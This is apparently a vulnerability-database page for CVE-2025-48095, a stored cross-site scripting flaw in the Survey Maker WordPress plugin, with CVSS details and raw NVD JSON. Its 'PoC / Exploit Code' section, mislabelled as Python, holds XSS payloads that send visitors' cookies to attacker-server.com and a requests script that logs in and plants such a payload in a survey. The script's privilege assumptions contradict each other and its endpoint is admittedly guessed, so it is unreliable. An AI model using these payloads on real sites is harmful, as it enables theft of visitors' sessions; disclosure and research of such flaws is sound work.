Security Vulnerability Report
中文
CVE-2025-48095 CVSS 5.9 MEDIUM

CVE-2025-48095

Published: 2025-10-22 15:15:34
Last Modified: 2026-04-15 00:35:42

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Ays Pro Survey Maker survey-maker allows Stored XSS.This issue affects Survey Maker: from n/a through <= 5.1.8.8.

CVSS Details

CVSS Score
5.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Ays Pro Survey Maker <= 5.1.8.8

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- Stored XSS PoC for CVE-2025-48095: Survey Maker Plugin <= 5.1.8.8 --> <!-- Attack Vector: Inject malicious script into survey fields (title, description, question text, options) --> <!-- Requires: High privilege user (PR:H) such as admin or editor --> <!-- Step 1: Login as admin/editor with Survey Maker edit permissions --> <!-- Step 2: Navigate to Survey Maker > Add New Survey --> <!-- Step 3: Inject the following payloads into vulnerable input fields --> <!-- Payload 1: Basic cookie stealing via script tag --> <script>document.location='https://attacker-server.com/steal?cookie='+document.cookie</script> <!-- Payload 2: Cookie stealing via img onerror (bypasses some filters) --> <img src=x onerror="fetch('https://attacker-server.com/steal?c='+document.cookie)"> <!-- Payload 3: Using SVG with onload event --> <svg/onload=alert(document.domain)> <!-- Payload 4: Using input autofocus with onfocus --> <input onfocus=alert('XSS') autofocus> <!-- Step 4: Save the survey --> <!-- Step 5: When any victim (including unauthenticated visitors) views the survey page, the malicious script executes in their browser context --> <!-- Python exploit example for automated testing --> import requests TARGET_URL = "https://target-wordpress-site.com" USERNAME = "contributor_account" PASSWORD = "password123" ATTACKER_WEBHOOK = "https://attacker-server.com/steal" session = requests.Session() # Login to WordPress login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': f'{TARGET_URL}/wp-admin/', 'testcookie': '1' } session.post(f'{TARGET_URL}/wp-login.php', data=login_data) # XSS payload to inject into survey title or description field xss_payload = f'<script>document.location="{ATTACKER_WEBHOOK}?c="+document.cookie</script>' # Create or edit survey with injected payload (endpoint may vary) survey_data = { 'title': xss_payload, 'description': xss_payload, 'survey_status': 'published', # Additional fields as required by the plugin } # Submit to survey creation endpoint response = session.post( f'{TARGET_URL}/wp-admin/admin.php?page=survey-maker&action=add_survey', data=survey_data ) print(f"Survey created with XSS payload. Status: {response.status_code}") print(f"Payload stored. Victims visiting the survey will execute: {xss_payload}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-48095", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:15:34.210", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Ays Pro Survey Maker survey-maker allows Stored XSS.This issue affects Survey Maker: from n/a through <= 5.1.8.8."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.7, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/survey-maker/vulnerability/wordpress-survey-maker-plugin-5-1-8-8-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}